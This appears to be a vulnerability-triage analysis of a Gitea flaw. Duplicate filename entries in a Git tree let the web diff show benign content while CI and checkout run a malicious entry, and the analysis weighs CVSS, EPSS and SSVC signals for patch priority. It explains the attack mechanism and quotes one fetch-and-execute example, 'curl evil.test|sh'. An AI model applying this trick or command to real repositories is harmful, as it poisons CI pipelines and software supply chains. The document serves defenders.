Gitea CVE-2026-95106

Requires a Gitea instance running an affected version (≤1.27.3, pre-28.0.0) that accepts incoming pushes of malformed Git objects - the fix enables transfer.fsckObjects=true to reject them. The attacker must be able to push a branch/open a pull request (contributor access, or a public instance permitting registration and fork-based PRs). The divergence only becomes dangerous where consumers resolve the same commit differently: specifically when Gitea Actions CI, git checkout, or release-archive generation is used, while human reviewers rely on Gitea's web diff/file views. Limiting factors: exploitation depends on a reviewer being deceived by the web view and/or CI auto-running on the PR, needs push/PR privileges rather than pure anonymous network access, and is ineffective against patched instances - but note that upgrading does NOT rescan already-stored objects, so a pre-existing malicious tree remains exploitable after the fix.

Signals conflict on priority. The NVD CVSS 3.1 base score is 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N), which paints a critical, network-reachable, unauthenticated, no-interaction picture. However, the description makes clear this is a code-review/content-confusion flaw: an attacker must be a contributor able to open a pull request, so PR:N is questionable - realistically some account/push access is needed (verify against repo settings; public instances allowing open registration and fork PRs narrow the gap). EPSS is very low at 0.16% (4th percentile) and SSVC records Exploitation: none, so there is no evidence of active or imminent mass exploitation; it is NOT in CISA KEV. Counterbalancing this, SSVC rates Technical Impact: total and Automatable: yes, and the impact class is serious - a silent code-review bypass that lets CI, git checkout, and release archives execute attacker-controlled content while reviewers see benign diffs (a supply-chain / CI-poisoning primitive). Net assessment: this is a real, high-value integrity issue for organizations that run Gitea with CI (Gitea Actions) and rely on web-diff review, but it is a targeted abuse-of-workflow bug rather than a spray-and-pray mass-exploitation vector - the high CVSS overstates ease relative to the low EPSS and the contributor-access precondition. Treat as a prompt patch priority for Gitea operators who accept external PRs and run CI, lower priority for closed internal instances.

An attacker with contributor/PR access (e.g. a registered user forking a public repository) pushes a commit whose Git tree contains two entries with the same filename - a benign blob first and a malicious one (e.g. curl evil.test|sh) second - then opens a pull request. Reviewers see only the benign first entry in Gitea's web diff/file views and approve, but Gitea Actions and git checkout at that same commit resolve to the last entry and execute the attacker's content. No standalone weaponized public exploit is identified, though the fix PR (#39472) includes a test that hand-assembles exactly such a duplicate-entry tree, demonstrating the mechanism.